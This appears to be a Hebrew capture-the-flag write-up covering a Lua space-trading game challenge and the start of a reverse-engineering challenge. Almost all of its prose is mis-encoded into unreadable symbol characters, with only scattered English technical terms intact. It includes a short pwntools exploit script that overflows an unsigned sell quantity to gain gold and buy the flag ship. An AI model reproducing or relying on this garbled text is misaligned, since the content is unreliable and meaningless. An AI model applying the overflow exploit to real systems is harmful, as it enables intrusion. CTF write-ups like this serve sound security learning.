g:info()  ˸˶ˤ˰˟) ˪ˠˡˢ ˸˞ ˷ˣ˩˶˪ ˣˮ˥˪˴ˢ ˫˞ ˵ˣˡ˟˪ ˸ˮˬ ˪˰info  ˣˮ˪˷ ˟˴ˬˢ ˸ˣˡˣ˞ ˰ˡ˧ˬ ˪˟˵˪ ˪˩ˣˮ

:(ˡˣ˰ˣ ˣˮ˪˷ ˱˯˩ˢ ˭ˤ˞ˬ ,ˣˮ˪˷ ˢˮ˧˲˯ˢ ,ˣˮ˪˷ ˧˞˪ˬˢ ˣˬ˩ ,˵˥˷ˬ˟ 

 

 ˣˮ˥˩ˣˢ ,ˢ˪ˣ˰ˬ ˦˧˶˲ˢ ˪˷ ˶ˣ˞˧˸˟ ˰˧˲ˣˬ ˪ˠˡˢ˷flag ˭˲ˣ˞˟ !˪ˠˡˢ ˢˬ ˸ˣ˪ˠ˪ ˪˩ˣˮ ˣ˸ˣ˞ ˷ˣ˩˶ˮ ˫˞˷ ˨˩ ,

 ˣˮ˪ ˢ˶˶˟˸ˢ ˣ˧˷˩˰ .ˢ˪˷ ˧˞˪ˬ˟ ,ˢ˸˧˞ ˡ˥˧˟ ˰˧ˠˬ ˪ˠˡˢ˷ ˢ˞˶ˮˣ ˪ˠˡˢ ˸ˮ˧˲˯ ˶ˣ˟˰ ˵ˣˡ˟ˮ ˢˬˣˡ

 ˣˮ˪˷ ˢˬ˧˷ˬˢ- .˪ˠˡˢ ˸ˮ˧˲˯/˪ˠˡˢ ˸˞ ˷ˣ˩˶˪ ˣˮ˪ ˶˷˲˞˸˷ ˸˧ˮ˩˸˟ ˢ˷˪ˣ˥ ˞ˣ˴ˬ˪ ˣˮ˧˪˰ 

 ˢ˪˰˷ ˭ˣ˷˞˶ˢ ˭ˣˣ˧˩ˢ ˪˰ ˡ˟˪ ˵˥˷ˬ˟ ˵˥˷˪ ˪ˠˣ˯ˬ˷ ˦ˣ˟ ˫ˣ˷˶˪ ˞˪˞ ,˪˪˩˟ ˢ˷˪ˣ˥ ˷˲˥˪ ˞˪ ˞ˣˢ ˧˪

 ˢ˵˧ˠˣ˪ˢ .(ˣˬ˴˰ ˪ˠˡˢˬ ˶˸ˣ˧ ˢ˪ˣˤ ˞˧ˢ˷ ˭ˣˣ˧˩ˬ) ˪ˠˡˢ ˸ˮ˧˲˯ ˸˞ ˸ˣˮ˵˪ ˪˧˟˷˟ ˱˯˩ ˵˧˲˯ˬ ˶ˣˠ˞˪ ˸ˮˬ

 ˡˣ˞ˬ ˢ˦ˣ˷˲ ˢ˧ˢ˸ ˦ˣ˟ˢ ˪˷-  ˟˩ˣ˩˟˷ ˟˪ ˧˸ˬ˷ ˵˥˷ˬ˟ ˶˴˵ ˵˥˷ˬˬKeppler ˦˧˶˲ˢ ,soylent  ˞˪

˟ˣ ,˪˪˩˟ ˱˯˩ ˢ˪ˣ˰ ˞˪ ˞ˣˢ˷ ˟˩ˣ˩ ˪˩Keppler  ˣ˞Earth ˶ˣ˩ˬ˪ ˭˸˧ˮ ,soylent ˪ ˢ˶ˣˬ˸˟-2  ˢˮ˧˲˯˟ .˱˯˩

 ˡ˰ ˭˯˥˞˪ ˭˸˧ˮ ˸˧˸˪˥˸ˢˢ100  ˫˰ ˫˧˪˧˥˸ˬˣ ,˫˧˦˧˶˲1 gold  ˟ˢˤˢ ˸˞ ˶ˣ˩ˬ˪ ˢ˧ˢ ˭ˣ˧˰˶ˢ .˧˞˪ˬ˟

˪ ˯ˣ˦˪ ,˳˶˞ˢ ˶ˣˡ˩˟-Keppler ˸ˣˮ˵˪ ,100 soylent˪ ˶ˣˤ˥˪ ,˶ˣ˩ˬ˪ ,˶˥˞ ˟˩ˣ˩˪ ˯ˣ˦˪ ,-Keppler ˶ˤˣ˥ˣ ,

˥ ˱˯˩ˢ ˸ˣˬ˩˪ ˰˧ˠˢ˪ ˢ˧ˢ ˪ˣ˩˧ ˦ˣ˟ˢ ,˪˧˰˪ ˢ˶˞ˣ˸˷ ˢ˦ˣ˷˲ˢ ˢ˵˧ˠˣ˪ˢ ˫˰ˣ ,˶˴˵ ˭ˬˤ ˵˶˲ ˶˥˞˪ .ˢ˪˧˪

.˪ˠˡˢ ˸ˮ˧˲˯ ˸˷˧˩˶˪ ˸˷˶ˡˮˢ 

" ˸ˤˣ˶˥ˬˢ ˸˞ ˧˸˷˲˧˥˷˩ ,˟˧ˮˠˬ ˞˪ ˞ˣˢ˷ ˢˤ˪ ˶˟˰ˬ ?ˢˤˢ ˭ˣˣ˧˩˟ ˢ˧˰˟ˢ ˢˬ ˤ˞Too expensive for 

your blood˪ ˫˞ ˫˧˵ˡˣ˟ ˣ˟ ˧˶˞ˮ˧˟˟ ˫ˣ˵˧ˬˢ ˸˞ ˞ˣ˴ˬ˪ ˪˧˟˷˟ " ˸ˣˮ˵˪ ˸ˮˬ ˪˰ ˱˯˩ ˵˧˲˯ˬ ˷˧ ˭˵˥˷

:˸ˣ˶ˤˣˬ ˡˣ˞ˬ ˸ˣˤˣ˶˥ˬ ˢˬ˩˟ ˧˸˪˵˸ˮ ,˫˧ˣ˯ˬ ˦˧˶˲ 
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 ˧˶˥˞ ˟˵˰ˬˬ .˸ˣ˯˲ˡˣˬ ˭ˢ ˧˸ˬˣ ˸ˣˤˣ˶˥ˬˢ ˪˷ ˶ˣ˵ˬˢ ˢˬ ˵ˣˡ˟˪ ˧˸˧˴˶ ,˦ˣ˟ˢ ˪˰ ˢˡˣ˟˰ˢ ˸˪˧˥˸ ˧ˮ˲˪

˟ ˸ˣ˯˲ˡˣˬ ˭ˢ˷ ˫˧˞ˣ˶ ,˸ˣˤˣ˶˥ˬˢ-gameJump ˭˵˥˷˪ˣ ˫˧˟˩ˣ˩ ˭˧˟ ˢ˴˧˲˵ ˰˴˟˪ ˢ˯ˮˬ ˭˵˥˷ˢˣ ˢˡ˧ˬ˟ ,

ˤ˞ˬˬ ˶˸ˣ˧ ˪˷ ˧˲˯˩ ˭-0xfffffffe  ˢ˧˴˵ˮˣ˲˪ ˫˧˞˶ˣ˵ ,˸ˣ˯˲ˡˣˬ ˭ˢ˷ ˶˥˞˪ .˱˯˩exit.˫˧˧˸˯ˬ ˵˥˷ˬˢˣ , 

 ˢ˪ˣ˰ ˞˧ˢ) ˪"ˮˢ ˫ˣ˩˯ˢˬ ˫˧˧˸˷ ˧˲ˬ ˶˸ˣ˧ ˢ˪ˣ˰ ˪ˠˡˢ ˸ˮ˧˲˯ ,ˣˮ˶˰˴˪2  ˸˵ˤ˥˟33  ˫ˣ˩˯ˢ ˡˣ˰˟ ,˱˯˩

˟ ˭˦˵ ˪"ˮˢ-2 ˬ-2  ˸˵ˤ˥˟32 ˰˯ˬˢ ˧ˮ˲˪ ˣ˟˷ ˟˴ˬ˪ ˰˧ˠˢ˪ ˧˵ˣ˥ ˭˲ˣ˞˟ ˭˸˧ˮ ˞˪˷ ˨˩ ,( ˞˪ ˧˲˯˩ˢ ˭ˤ˞ˬˢ

ˬ ˪ˣˡˠ-0xfffffffe  ˞˪) ˪ˠˡˢ ˸ˮ˧˲˯ ˸˞ ˸ˣˮ˵˪ ˸ˮˬ ˪˰ ˱˯˩ ˵˧˲˯ˬ ˶˟˴ ˭˵˥˷ˢ ˟˩ˣ˩˟ ˢ˶˧˩ˬˢ ˶˥˞˪ˣ

 ˵˧˲˯ˬ ˷ˣ˩˶˪ ˭˸˧ˮsoylent  ˨˩˪-  ˸ˮ˧˲˯ ˸˞ ˷ˣ˩˶˪ ˸˧˵ˣ˥ ˨˶ˡ ˭˧˞ ˭˩˪ .(ˢˮ˧˲˯˟ ˫ˣ˵ˬ ˵˧˲˯ˬ ˭˧˞

 ˪˰ ˱˯˩ ˵˧˲˯ˬ ˶ˣ˟˴˪ ˭˵˥˷˪ ˶˷˲˞ˬ ˞˪ ˵˥˷ˬˢ˷ ˭ˣˣ˧˩ˬ ,˵˥˷ˬ˟ ˪ˠˡˢ/˪ˠˡˢ.ˢ˷˧˩˶ˢ ˸˞ ˰˴˟˪ ˸ˮˬ 

 ˫˧˧˵ ˫˞ˢ ˞ˣˢ ˵ˣˡ˟˪ ˧˸˧˴˶˷ ˞˟ˢ ˭ˣˣ˧˩ˢtype confusion  ˭˧˞˷ ˸ˣ˶ˬ˪ ˢ˷˧˩˶ ˰˴˟˪ ˧˪ ˶˷˲˞˧˷ ˣˢ˷˪˩

 ˭ˤ˞ˬˢ ˸˵˧ˡ˟ ˪˰ ˠˣ˪˧ˡ ˸˶ˤ˰˟) ˪ˠˡˢ ˸˞ ˷˩ˣ˶ ˧ˮ˞˷ ˶˥˞˪˷ ˧˸˧˞˶˷ ˶˥˞˪ ˢ˪˰ ˭ˣ˧˰˶ˢ .˱˯˩ ˵˧˲˯ˬ ˧˪

 ˸ˣ˰˴ˬ˞˟ ˧˪˷ ˧˲˯˩ˢgdb˫˶ˠ ˢˤ .˧˪˧˪˷ ˞ˣˢ ˧˪˷ ˧˲˯˩ˢ ˭ˤ˞ˬˢ ,(  ˭ˤ˞ˬˢ˷ ˸ˣ˧ˢ˪ ˪ˣ˩˧˷ ˟ˣ˷˥˪ ˧˪

˩ ˪ˢˣˮˬ ˧˲˯˩ˢ-signed  ˪˞˩ ˣ˧˪˞ ˫˧˯˥˧˧˸ˬ ˪˟˞ ,˷ˬ˸˷ˬˢ ˟˴ˬ ˶ˣ˞˧˸ ˪˰ ˧˞˶˥˞˷ ˢˮ˟ˬˢ ˨ˣ˸˟

unsigned  ˧˪˧˪˷ ˭ˤ˞ˬˢ ˣ˟˷ ˟˴ˬ˪ ˰˧ˠˢ˪ ˪˩ˣˮ ˫˞ ,˭ˣ˩ˮ ˶˟ˡˢˣ ˢˡ˧ˬ˟ .˭ˤ˞ˬˢ ˸˞ ˸ˣ˵ˡˣ˟˷ ˸ˣ˧˴˵ˮˣ˲˟- 

 ˰˴˟˪ ˫˧˪ˠˣ˯ˬ ˸ˣ˧ˢ˪ ˫˧˶ˣˬ˞ ˣˮ˧˧ˢ ˞˪˷ ˸ˣ˷˧˩˶ ˰˴˟˪ ˪˩ˣˮ ˢ˵˧ˡ˟ˬ .˪ˠˡˢ/˪ˠˡˢ ˸ˮ˧˲˯ ˸˞ ˷ˣ˩˶˪ ˧˪ˣ˞ˣ

˟ ˭ˤ˞ˬˢ ˸˵˧ˡ˟ ˪˷ ˸˶ˤˣ˥-gameBuy  ˸ˣ˰˴ˬ˞˟ ˸˰˴˟˸ˬ ˢ˵˧ˡ˟ˢ˷ ˸ˣ˞˶˪ ˭˸˧ˮja ˧ˮ˷˪ ˸˯˥˧˧˸ˬ˷ ,

 ˪˞˩ ˫˧˶˲˯ˬˢunsigned - .ˢ˶˰˷ˢˢ ˸˞ ˶˷˞ˬ˷ ˢˬ 

 

˧˪˧˪˷˪ ˨ˣ˲ˢ˧ ˭ˤ˞ˬˢ ˢ˟˷ ˸˧ˬ˧˦˧ˠ˪ ˨˶ˡ ˞ˣ˴ˬ˪ ˧˸˥˪˴ˢ ˞˪˷ ˭ˣˣ˧˩ˬ ˸ˣ˶˧˲ ˟˧ˮˢ ˞˪ ˢˤˢ ˭ˣˣ˧˩ˢ ,˟ˣ˷. 

ˢ ˸ˣˬ˩ ,˫˧˟˩ˣ˩ ˭˧˟ ˰˯ˬ ˸˰˟˷ ˟˪ ˧˸ˬ˷ :˵˥˷ˬ ˧ˡ˩ ˨ˣ˸ ˢ˪˰ ˞˟ˢ ˭ˣˣ˧˩ˢ-soylent  ˫˞ˣ ,ˢˮ˦˵ ˧˪˷

.˯˲˞˸˸ ˫ˠ ˞˧ˢ ˵˧˲˯ˬ ˪˧˧˦˞ 

 

 ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˸˶ˤˣ˥ ˢ˵˧ˡ˟ˬgameJump˪ ˪˟ˠˣˬ ˢ˩˧˰ˡˢ ˤˣ˥˞˷ ˸ˣ˞˶˪ ˭˸˧ˮ ,-100: 

 

 ˫˧˧˵ ,˸˞ˤ ˫˰flow  ˵˪ˡ ˢˮ˵˧ ˞ˣˢ ,˱˯˩ ˵˧˲˯ˬ ˷˧ ˭˵˥˷˪ˣ ˰˯ˬˢ ˨˪ˢˬ˟ ˵˪ˡˢ ˶ˬˠˮ ˫˞ ˣ˟ ,˱˯ˣˮ

˪ ˫˧˰˧ˠˬ ˫˞ ˭˩˪ˣ ,˫˧˵˲˵ˣ˲ˬ ˫˧˶˥ˣ˯ˢ .˫˧˶˥˞ ˫˧˶˥ˣ˯ˬ-flow ˟ ˪ˡˠ ˢ˩˧˰ˡˢ ˤˣ˥˞ ,ˢˤˢ-10 ˭˧˞ ˨˞ ,

ˢ ˸˞ ˶˟ˣ˰ ˞˪ ˞ˣˢ˷ ˸˲˯ˣˮ ˢ˵˧ˡ˟-100% . 
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 ˞ˣˢ ˢ˩˧˰ˡˢ ˤˣ˥˞ ˣ˲ˣ˯˟˷ ˪ˣ˪˯ˬ ˞ˣ˴ˬ˪ ˥˧˪˴ˮ ˫˞100 ˢ˧ˢ˧ ˢ˩˧˰ˡˢ ˤˣ˥˞ ,˵˪ˡˢ ˶ˬˠˮ ˫ˠ ˨˞ ,110%. 

 

ˢ ˸ˣˬ˩ ˧˩ ˢ˞˶ˮ ,ˢˤ˩˷ ˟˴ˬ˟-soylent  ˢˬˣ˴˰ ˢ˧ˢ˸ ˰˯ˬˢ ˱ˣ˯˟ ˢˬ˰ ˶˞˷ˮ˷-  ˷˧ ˨˩ ˫ˠ ˢ˞˶ˮˢ ˪˩˩

 ˭˧˟ ˪ˣ˟˪˟signed ˪-unsigned  ˶˲˯ˬ˩ ˷˶ˣ˲˧ ˣ˸˧˞ ˫˧˧˯˪ ˫˧˶ˣˬ˞ ˣˮ˞˷ ˧˪˧˪˷ˢ ˶˲˯ˬˢ˷ ˨˩˪ ˫˶ˣˠ˷

 ˵˧˲˯ˬ ˣˮ˪ ˷˧ ,ˢ˸˰ .˫ˣ˴˰ ˧˟ˣ˧˥soylent ˪ ˧˪˟ ,˪ˠˡˢ ˸ˮ˧˲˯˪ ˱˯˩ ˵˧˲˯ˬ ˶ˣˠ˞˪ ˪˧˟˷˟ ˡ˥˞ ˟˩ˣ˩˟ ˶ˣ˩ˬ

 ˣˮ˧˪˰ ˪˥˸ ˞˪ ˫˧˟˩ˣ˩ ˭˧˟ ˰ˣ˯ˮ˪ ˭˸˧ˮ ˢ˸˧˞ ˱˯˩ˢ ˸ˣˬ˩ ˪˰ ˢ˪˟ˠˢˢ ,˨˩ .˱˯ˣˮ ˢ˷˧˩˶ ˰˯ˬ˪ ˸˞˴˪-  ˧˩

 ˟˩ˣ˩ˢ ˣ˸ˣ˞ ˪˰ ˣˮ˶ˠ˞ ˱˯˩ˢ ˪˩ ˸˞- .˪ˠˡˢ ˸˞ ˞ˣ˴ˬ˪ˣ ˢˮ˧˲˯ˢ ˸˞ ˷ˣ˩˶˪ ˪˩ˣˮˣ 

 

˪ ˞ˣˢ ˶˸ˣˮ˷ ˪˩ˣ ,ˢˤ˩˷ ˟˴ˬ ˞ˣ˴ˬ˪ ˢ˷˵ ˞˪ ˢˤ ˟˧˟˯ ˫ˣ˷˶exploitˢ ˸˞ ˫ˣ˷˶ˮ .-exploit :ˣˮ˪˷ 

from pwn import *  

 

e = ELF( "./irene_adler" )  

r = process( "./irene_adler" )  

r.recv()  

r.sendline( "g=Game.new()" )  

r.recv()  

r.sendline( "g:buy(3, 100)" )  

r.recv()  

r.sendline( "g:jump(2)" )  

r.recv()  

r.sendline( "g:jump(1)" )  

r.recv()  

r.sendline( "g:sell(3, 184467440737095513)" )  

r.recv()  

r.sendline( "g:sell(3, 184467440737095513)" )  

r.recv()  

r.sendline( "g:buyShip(3)" )  

r.recv()  

 

 

print "Flag ship purchased, switching to interactive mode..."  

 

r.interactive()  
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ˣ˸ˣ˞ ˳˧˶ˮ :ˣˮ˪˷ ˧˞˪ˬ˟ ˪ˠˡˢ ˸˞ ˢ˞˶ˮˣ 

 

ˢ ˸ˣ˧˴˵ˮˣ˲ ˫˰ ˢˬˣ-lua  ˪˰ ˯˯ˣ˟ˬ ˣˬ˴˰ ˵˥˷ˬˢ ?ˢ˪˥˸ˢ˟ ˣˮ˧˞˶˷lua ˡˣ˵˪ ˫ˠ˶ˣ˸ˬ ˣˮ˪˷ ˦˪˵ˢˣ ,lua ,

 ˢˤ˟ ˵ˬ˰˸ˢ˪ ˫˰˦ ˭˧˞ ˪˟˞-  ˶ˠ˸˞ˢ ˸˞ ˶ˣ˸˲˪ ˣˮ˥˪˴ˢ ˶˟˩J 

Mycroft Holmes 

 ˡ˧˶ˣˮ .˶˸ˣ˧ ˫˧ˬˡ˵˸ˬˢ ˫˧˶ˠ˸˞˪ ˫˧˯ˮ˩ˮ ˣˮ˞ˣ ,˫˧˶ˠ˸˞ ˢ˰˟˶˞ ˣˮˬ˧˧˯ ˶˟˩ ˪˵˸ˮ ˟ˣ˷ .˶ˠ˸˞ˢ ˸˞ ˳˧˶ˮˣ

 ˫˧˰ˣ˵˸ ˣˮ˥ˮ˞˷ ˢ˞˶˧ˣ ,˷˵˟ˬ ˞ˣˢ˷ ˦˪˵ˢ ˪˷ ˶ˣ˞˧˸ ˫ˣ˷ ˠ˧˴ˢ˪ ˧˪˟ ˦˪˵ ˣˮ˸˞ˬ ˷˵˟˧ ˧˶˞ˮ˧˟ˢ :˧˷ˣ˵˟

:˞ˣˢ ˢˬ ˣˮ˪ ˶ˣ˶˟ ˞˪˷ ˫˧ˣ˯ˬ ˦˪˵˪ ˢ˩˥ˬ˷ ˢ˞˪ˣ˪˟ 

 

 ,˶ˠ˸˞˪ ˱˯ˣˬ ˨˶˰ ˸ˬ˶ˣ˸ ˸˞ˤˢ "ˢˡ˧˥"ˢ˷ ˟˷ˣ˥ ˞˪ ˧ˮ˞ ˸˧˷˧˞ ,˞˪ ˣ˞ ˭ˣˣ˩ˬ ˢ˧ˢ ˢˤ ˫˞ ˧˪ ˶ˣ˶˟ ˞˪

˞˧ˢ ˪˟˞ ˟ ˧˶˞ˮ˧˟ˢ ˸˞ ˥ˣ˸˲˪ ˣˮ˧˪˰ ˭˩˪ˣ ˸ˬ˧˧˵-IDA  ˶˥˞ ˟ˣ˵˰˪ ˪˩ˣˮ ˞˪ ˫˰˲ˢ .ˢ˶ˣ˵ ˢˬ ˭˧˟ˢ˪ ˸ˣ˯ˮ˪ˣ

˨˶ˡ˟ ˨˪ˮ ˤ˞ ,ˢ˧˶˥˞ ˟ˣ˵˰˪ ˸ˤˣ˶˥ˬ ˣˮ˪ ˭˧˞ ˧˩ ,˸ˤˣ˶˥ˬ  ˦˪˵˪ ˢˮ˸ˬˢˢ˷ ˭ˣˣ˧˩ˬ :˸˩˟ˣ˯ˬ ˶˸ˣ˧ ˸˴˵

ˬ ˢ˞˶ˮ ˢˤ ˨˩ ˸ˣ˥˲˪ ˣ˞) ˸˧ˮ˩˸ˢ ˸˪˧˥˸˟ ˷ˬˬ ˸˰˴˟˸ˬ (ˣˢˬ ˫˧˰ˡˣ˧ ˞˪ ˭˧˧ˡ˰ ˣˮ˥ˮ˞˷) ˫˧ˣ˯ˬ ˸˴˶ˢ

 ˸˞ ˞˴ˬˮ ,(˧˶˞ˮ˧˟ˢmain .˫˷ˬ ˫ˡ˵˸ˮˣ 

 ˢ˧˴˵ˮˣ˲ˢ ˸˪˧˥˸˟˷ ˸ˣ˞˶˪ ˭˸˧ˮmain˟ ,-node  ˧˪˟ ˣ˲ˣ˯ ˡ˰ ˣ˸˪˧˥˸ˬ ˰˴˟˸ˬ˷ ˡ˧˥˞ ˡˣ˵ ˰˦˵)

˟ ,˸ˣ˧ˣ˲˰˸˯ˢ-IDA ˪ ˢ˞˧˶˵ ˷˧ ˭ˣ˷˞˶ˢ (˫˧ˮ˟˪ˬ˟ ˫˥ˣ˸ˬ-puts ˷ ˭ˣˣ˧˩ˬ .˫˧ˣ˯ˬ ˟˪˷˟-puts  ˞˧ˢ

ˬ ˫˧˷˲˥ˬ ˣˮ˞˷ ˡˣ˵ˢ ˰˦˵˷ ˶ˣ˶˟ ,˦˪˲ ˸˶˴˧˧ˬ˷ ˢ˧˴˵ˮˣ˲ ˢ˞˧˶˵ˢ ˧ˮ˲˪ ˷˥˶˸-˪puts ˢˡˣ˵˲ ˭˧˞ .

˪ ˢ˞˧˶˵˪ ˸ˣˬˡˣ˵˷ ˸ˣˡˣ˵˲ˢ ˭˧˟ (˦˪˵ ˸˦˪ˣ˵˷) ˸ˮ˧˧ˮ˰ˬ-puts ˢ˧˴˵ˮˣ˲˪ ˸˥˞ ˢ˞˧˶˵ ˷˧ ˭˩ ˨˞ ,

.˸ˮ˧˧ˮ˰ˬ ˞˧ˢ˷ ˭˩˸˧ˣ ,˧˶˞ˮ˧˟˟ ˶˥˞ ˫ˣ˵ˬ˟ ˸˞˴ˬˮ˷ 
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˪ ˢ˞˧˶˵ ˷˧˷ ˸ˣ˞˶˪ ˭˸˧ˮ .ˢ˧˴˵ˮˣ˲˪ ˯ˮ˩ˮ-fgets  ˨ˣ˸ˬ ˢ˞˧˶˵˪stdin ˢ˧˴˵ˮˣ˲ˢ ˸˞ ˣˮ˞˴ˬ˷ ˢ˞˶ˮ .

˥˷˟ ˢ˧˴˵ˮˣ˲ˢ ˪˰ ˪˩˸˯ˮ !ˣˮ˷˲˧-pseudocode  ˸ˣ˧˴˵ˮˣ˲ˢˬ ˣˬ˪˰˸ˢ) ˸ˣ˧˪˪˩˟ ˢ˸ˣ˞ ˭˧˟ˢ˪ ˸ˮˬ ˪˰

cast_to_lower x-splitlines:(˟ˣ˶˵˟ ˭ˢ˟ ˵ˬ˰˸ˮ .˫˷ ˭ˢ˪ ˭˧˞ ˣ˪˧˞˩ ˭ˢ˧˪˞ ˣ˯˥˧˧˸ˢˣ , 

 

:˸ˣ˞˟ˢ ˸ˣ˪ˣ˰˲ˢ ˸˞ ˢ˷ˣ˰ ˢ˧˴˵ˮˣ˲ˢ˷ ˢ˞˶ˮ 

¶  ˸˦˪ˣ˵256 ˬ ˫˧ˣˣ˸-stdin 

¶ ˢ˧˴˵ˮˣ˲˪ ˦˪˵ˢ ˸˞ ˢ˶˧˟˰ˬ 

¶ ˢ˶˧˟˰ˬ ˶˰ˬ˪ ˰˧˟˴ˬ ˢ˶˧˟˰ˬ ˭˩ ˣˬ˩ ,˸˲˯ˣˮ ˢ˧˴˵ˮˣ˲˪ ˦˪˵ ˸˞˨ ˶˲˯ˬˢ ˸˞ ,2  ˢ˶ˣ˷ˢ ˣ˸ ˸˞ˣ

 ˢ˷ˡ˥ˢ- ά\ƴέ. 

¶  ˞˪ ˞ˣˢ ˨˶˰ˬˢ ˷˞˶˟ ˨˶˰ˢ ˡˣ˰ ˪˩s  ˣ˞q.˷ˬ˸˷ˬˢˬ ˦˪˵ ˟ˣ˷ ˦ˣ˪˵ , 

o  ˞ˣˢ ˦˪˵ˢ ˫˞s - .ˢ˞˪ˣ˪ˢˬ ˞˴ 

o  ˞ˣˢ ˦˪˵ˢ ˫˞q - .˸˧ˮ˩˸ˢˬ ˞˴ 

 ˪˰ ˸˶˟ˣ˰ ˢˮˣ˷˞˶ˢ ˢ˧˴˵ˮˣ˲ˢ :˸ˣ˧˴˵ˮˣ˲ˢ ˧˸˷˟ ˵ˬ˰˸ˮ˪ ˢ˰˧ˠˬ ˞˪ ˞˧ˢ ˡˣ˰ ˪˩ˣ ,˦˪˵ˢ-null-byte  ˞˧ˢ

 ˢ˧˴˵ˮˣ˲˪ ˸˞˶ˣ˵tolower  ˣ˸ ˪˩ ˢ˶˧ˬˬ ˢ˧˴˵ˮˣ˲ˢ ,˶ˬˣ˪˩ .˦ˮˬˣˠ˶˞˩ ˧˥˩ˣˮˢ ˣ˸ˢ ˪˷ ˸˟ˣ˸˩ˢ ˫˰

 ˢ˪ ˞˶˵ˮ ˭˩˪ ,ˢˮ˦˵ ˸ˣ˞˪ ˨˶˰ˬ˟cast_to_lower. 

 ˢ˧˴˵ˮˣ˲ˢ ˸˶ˤ˰˟ ˸ˣ˶ˣ˷˪ ˦˪˵ˢ ˸˞ ˸˪˴˲ˬ ˢ˧˧ˮ˷ˢ ˢ˧˴˵ˮˣ˲ˢstrtok˪ ˢˮˣ˷˞˶ˢ ˢ˞˧˶˵˟ .-strtok, 

 ˫˧˦ˮˬˣˠ˶˞ ˧ˮ˷ ˸˪˟˵ˬ ˢ˧˴˵ˮˣ˲ˢ- ) ˢˡ˶˲ˢ ˣ˸ˣ ˸ˤˣ˶˥ˬdelimiter ˸ˤˣ˶˥ˬˢ ˸˞ ˸˪˴˲ˬ ˢ˧˴˵ˮˣ˲ˢ .(

) ˫˧ˮˣˬ˧˯˞˪tokens˪ ˰˧˟˴ˬˢ ˸˞ ˢ˶˧ˤ˥ˬˣ ,ˢˡ˶˲ˢˢ ˧ˣˣ˸ ˧˲ ˪˰ (-token  ˸˲˯ˣˮ ˢ˞˧˶˵ ˪˩˟ .˭ˣ˷˞˶ˢ

˪ ˸˟ˣ˸˩ˢ ˸˞ ˶˧ˤ˥˸ ˢ˧˴˵ˮˣ˲ˢˣ ,˸ˤˣ˶˥ˬˢ ˸˞ ˟ˣ˷ ˫˧˶˧˟˰ˬ ˞˪ ,ˢ˧˴˵ˮˣ˲˪-token  ˸˞ ˸ˣˮ˷˪ ˭˸˧ˮ .˞˟ˢ

.ˢ˞˧˶˵˪ ˢ˞˧˶˵ ˭˧˟ ˢˡ˶˲ˢˢ ˧ˣˣ˸ ˱˴˶ 
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 ˪˞ ˶˟˰ˣˢ˷ ˨˶˰ˬˢ ˨ˣ˸˟ ˫˧˶ˬˣ˷ ˢ˧˴˵ˮˣ˲ˢˬ ˫˧˶ˤ˥ˣˬ˷ ˫˧˰˧˟˴ˬˢ ˪˩ ˸˞ ,ˣˮ˧ˮ˲˪ ˞˴ˬˮ˷ ˢ˶˵ˬ˟

 ˯˵ˡˮ˧˞˟ ˶˷˞˩) ˫˧˞˸ˬˢ ˯˵ˡˮ˧˞˟ ˢ˧˴˵ˮˣ˲ˢ0 ˢ ˫˵ˣˬ˧-token  ˯˵ˡˮ˧˞˟ ,˭ˣ˷˞˶ˢ1 s-token  ˭˩ˣ ˧ˮ˷ˢ

ˢ˧˴˵ˮˣ˲˪ ˶˟˰ˣˬ ˢˡ˶˲ˢˢ ˣ˸ .(ˢ˞˪ˢ ˞ˣˢ ˢˤˢ ˢ˶˵ˬ˟ˣ ,ά\ƴέ ˶˲˯ˬˢ ,˭˩ ˣˬ˩ .2  ˶˟˰ˣˬ ˣˮ˧˞˶˷

ˢ ˶˲˯ˬ ˸˞ ˭ˬ˯ˬ ˢ˧˴˵ˮˣ˲˪-tokens  ˳˪˥˪ ˫˧˴ˣ˶ ˣˮ˞˷-  ,ˢˤˢ ˢ˶˵ˬ˟2 ˞ˣˢ ˢ˧˴˵ˮˣ˲ˢˬ ˶ˤ˥ˣˬˢ ˨˶˰ˢ .

ˢ ˶˲˯ˬ-tokens  ˢ˧˴˵ˮˣ˲˪ ˞˶˵ˮ .˯˲˞ ˣ˞ ,˸ˤˣ˶˥ˬˢˬ ˪˰ˣ˲˟ ˣ˴˪ˣ˥˷splitlines. 

 

˦˧˶˵ ˸ˬ˞˟ ˞˪ ˢ˧˴˵ˮˣ˲ˢ ,˸˧˥˩ˣˮˢ ˢ˞˧˶˵ˢ ˶ˣ˟˰ ˦˪˵ˢ ˭˩ˣ˸ ˪˰ ˢ˰˧˲˷ˬ ˞˪ ˞˧ˢ˷ ˭ˣˣ˧˩ˬ ,˸˧-  ,˱ˣ˯˟

 ˞ˣˢ ˣˮ˪˷ ˦˪˵ˢ ˫˞S˪ ˶ˬˣ˧ ˞ˣˢ ,-s  ˸˶ˤ˰˟cast_to_lowerˬ ˡ˶˲ˣ˧ˣ ,-ά\ƴέ  ˸˶ˤ˰˟splitlines ˫˞˷ ˣˮ˟ˢ .

 ˢ˧ˢ˧ ˣˮ˪˷ ˦˪˵ˢΨǎΩ ˪ ˶ˣ˴˧˵ ˢ˞˶ˮ˩)-start ˣ˞ (Ψ{Ω˟ ˨˧˷ˬˮˣ ˢ˞˪ˣ˪ˢˬ ˞˴ˮ ,-flow  ˦˪˵ˢ ˫˞ .˸˧ˮ˩˸ˢ ˪˷

 ˢ˧ˢ˧ ˣˮ˪˷ΨǉΩ  ˣ˞ΨvΩ ˪ ˶ˣ˴˧˵ ˢ˞˶ˮ˩)-quit ˸ˣ˞ˢ ˸˞ ˵˲˯ˮ .˸˧ˮ˩˸ˢˬ ˞˴ˮ ,(ΨǎΩ .˨˧˷ˬˮˣ ˦˪˵˩ 

 

 ˟ˣ˷˷ ˢ˞˶ˮˣ ,ˣˮˬˡ˵˸ˢ-  ˷˵˟ˮ ,˧ˣ˲˷ ˫ˡ˞ ˪˩ ˣˬ˩ .˸ˣ˷˰˪ ˢˬ ˶ˣ˶˟ ˷ˬˬ ˞˪ ˭˧˧ˡ˰ ˪˟˞ ,˵˥˷ˬ˟ ˶˟ˣˡˬ

 ˢ˶ˤ˰- help ˡˣ˰ ˪˟˵ˮ .prompt  ˣˮ˪ ˣˠ˧˴ˢ˷ ˸ˣ˧˴˲ˣ˞ˢ ˸˥˞˟ ˶ˣ˥˟˪ ˢ˯ˮˮ .ˢ˶ˤ˰ ˯˲ˡˣ˸˷ ˧˪˟ ,˦˪˵˪- 

gcc ˢ˞˧ˠ˷ ˸˰ˡˣˢ ˪˟˵ˮ ,˫˰˲ˢ .- invalid command˷ ˡˬ˪ˮ ˨˩ˬ .-help  ˣˮ˞ ,ˢˮ˧˵˸ ˢˡˣ˵˲ ˭˩˞ ˞˧ˢ

